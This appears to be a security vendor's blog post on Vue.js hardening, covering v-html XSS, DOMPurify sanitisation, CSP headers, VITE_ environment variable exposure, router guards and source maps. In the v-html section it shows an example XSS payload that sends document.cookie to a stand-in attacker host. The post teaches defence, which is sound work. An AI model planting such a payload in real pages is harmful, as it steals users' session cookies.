Skip to main content
Back to blog
April 28, 2026|8 min read

Vue.js Security Best Practices 2026: XSS, CSP, Env Exposure & Route Guards

Vue.js security centers on one critical rule: never use v-html with user content. This guide covers XSS prevention, CSP, environment variable exposure, and router-level authentication guards.

ZeriFlow Team

1,141 words

Vue.js Security Best Practices 2026: XSS, CSP, Env Exposure & Route Guards

Vue.js security is as much about what you avoid as what you implement. Vue's auto-escaping protects you in 99% of cases — but a single v-html directive on user-controlled content can hand an attacker full XSS execution. This guide covers the patterns that protect Vue applications in production.

Start by scanning your deployed frontend with ZeriFlow — it checks your Content Security Policy, security headers, and TLS configuration in one free scan.


1. The v-html XSS Risk

Vue escapes all template interpolations by default. {{ userInput }} is safe. v-html is not.

Dangerous:

vue
<template>
  <!-- Never do this with user-controlled content -->
  <div v-html='userBio'></div>
</template>

If userBio contains <script>alert(1)</script> or <img src=x onerror=fetch('//evil.com/'+document.cookie)>, you have a stored XSS vulnerability.

Safe alternatives:

Option 1 — Escape the content:

vue
<template>
  <div>{{ userBio }}</div>
</template>

Option 2 — Sanitize with DOMPurify before using v-html:

bash
npm install dompurify
vue
<template>
  <div v-html='sanitizedBio'></div>
</template>

<script setup>
import DOMPurify from 'dompurify';
import { computed } from 'vue';

const props = defineProps({ bio: String });

const sanitizedBio = computed(() =>
  DOMPurify.sanitize(props.bio, {
    ALLOWED_TAGS:  ['b', 'i', 'em', 'strong', 'a'],
    ALLOWED_ATTR:  ['href'],
    FORBID_SCRIPTS: true,
  })
);
</script>

2. Content Security Policy for Vue Apps

A strict CSP is the last line of defense against XSS. For Vue apps served from a CDN or Nginx, set it in the response header.

Nginx configuration:

nginx
add_header Content-Security-Policy
  "default-src 'self';
   script-src 'self';
   style-src 'self' 'unsafe-inline';
   img-src 'self' data: https:;
   connect-src 'self' https://api.yourdomain.com;
   font-src 'self' https://fonts.gstatic.com;
   frame-ancestors 'none'";

For Vite, use the vite-plugin-csp plugin:

javascript
// vite.config.js
import { defineConfig } from 'vite';
import { cspPlugin } from 'vite-plugin-csp';

export default defineConfig({
  plugins: [
    cspPlugin({
      policy: {
        'default-src': ["'self'"],
        'script-src':  ["'self'"],
        'style-src':   ["'self'", "'unsafe-inline'"],
      },
    }),
  ],
});

Note: Vue's inline styles require 'unsafe-inline' for style-src unless you use nonces, which significantly complicates the setup. This is a known tradeoff.


3. Environment Variable Exposure

In Vite-based Vue apps, any variable prefixed with VITE_ is bundled into the client JavaScript and visible to anyone who inspects the source.

What NOT to put in VITE_ variables: - API secret keys - Database credentials - Private keys or tokens - Internal service URLs

What IS safe: - Public API base URLs - Feature flags - Analytics IDs (GA, Mixpanel) - Public Stripe publishable keys

# .env
# Safe to expose
VITE_API_BASE_URL=https://api.yourdomain.com
VITE_STRIPE_PUBLISHABLE_KEY=pk_live_...

# NEVER expose — these do not need VITE_ prefix
API_SECRET_KEY=sk_live_...         # Server-side only
DATABASE_URL=postgres://...        # Server-side only
STRIPE_SECRET_KEY=sk_live_...      # Server-side only

Run grep -r 'VITE_' src/ and audit every variable. If you are unsure whether a value is sensitive, assume it is and keep it server-side.


4. Vue Router Guards for Authentication

Client-side route guards are a UX convenience, not a security boundary — but they prevent unauthorized users from seeing restricted UI and leaking information through the interface.

javascript
// router/index.js
import { createRouter, createWebHistory } from 'vue-router';
import { useAuthStore } from '@/stores/auth';

const router = createRouter({
  history: createWebHistory(),
  routes: [
    { path: '/', component: HomeView },
    { path: '/login', component: LoginView },
    {
      path: '/dashboard',
      component: DashboardView,
      meta: { requiresAuth: true },
    },
    {
      path: '/admin',
      component: AdminView,
      meta: { requiresAuth: true, requiresRole: 'admin' },
    },
  ],
});

router.beforeEach((to, from, next) => {
  const auth = useAuthStore();

  if (to.meta.requiresAuth && !auth.isAuthenticated) {
    return next({ path: '/login', query: { redirect: to.fullPath } });
  }

  if (to.meta.requiresRole && auth.user?.role !== to.meta.requiresRole) {
    return next({ path: '/403' });
  }

  next();
});

export default router;

Always enforce authorization on the server. Route guards only hide UI — the API must independently validate every request.


5. Input Sanitization and Validation

Use a form validation library consistently. Vue 3's recommended approach is VeeValidate with Zod:

bash
npm install vee-validate zod @vee-validate/zod
vue
<script setup>
import { useForm } from 'vee-validate';
import { toTypedSchema } from '@vee-validate/zod';
import { z } from 'zod';

const schema = toTypedSchema(
  z.object({
    email:    z.string().email('Invalid email'),
    password: z.string().min(12, 'Minimum 12 characters'),
    comment:  z.string().max(500, 'Max 500 characters')
              .regex(/^[^<>]*$/, 'No HTML allowed'),
  })
);

const { handleSubmit, errors } = useForm({ validationSchema: schema });

const onSubmit = handleSubmit(async (values) => {
  // values are validated and typed
  await api.post('/comments', values);
});
</script>

6. Dependency Auditing and Source Map Leakage

bash
npm audit
npm audit fix

For production builds, disable source maps to avoid leaking your application logic:

javascript
// vite.config.js
export default defineConfig({
  build: {
    sourcemap: false, // Never in production
  },
});

ZeriFlow checks for exposed .map files on your production domain — a surprisingly common misconfiguration that reveals your full source code to attackers.


FAQ

### Q: Is Vue's default XSS protection sufficient without v-html? A: Yes — Vue HTML-escapes all {{ }} interpolations. The only XSS vectors are v-html, innerHTML manipulation in lifecycle hooks, and rendering user-controlled component names. Avoid all three with user data.

### Q: How do I handle authentication tokens in Vue? A: Store access tokens in memory (Pinia store) and refresh tokens in httpOnly cookies. Never store sensitive tokens in localStorage — it is accessible to any JavaScript on the page, including XSS payloads.

### Q: Are there Vue-specific security linting rules? A: Yes — eslint-plugin-vue includes security-related rules. The rule vue/no-v-html warns on all v-html usage. Enable it in strict mode and require a review comment for any intentional usage.

### Q: How do I prevent CSRF in a Vue SPA? A: If your Vue app authenticates via httpOnly cookies, include a CSRF token in request headers. If you use Bearer tokens in Authorization headers, CSRF is not applicable — browsers do not send Authorization headers automatically.

### Q: Should I use Vue 2 or Vue 3 for new projects? A: Always Vue 3. Vue 2 reached end-of-life in December 2023 and no longer receives security patches. Remaining on Vue 2 means accumulating unpatched vulnerabilities over time.


Conclusion

Vue.js security in 2026 means respecting the framework's auto-escaping, being surgical about v-html, keeping secrets off VITE_ variables, enforcing route-level auth guards (backed by server-side checks), and validating all input. These are not complex changes — they are habits.

Verify your running application from the outside. Run a free ZeriFlow scan to check your CSP headers, TLS configuration, and source map exposure — the issues that code review alone cannot catch.

Ready to check your site?

Run a free security scan in 30 seconds.

Related articles

Keep reading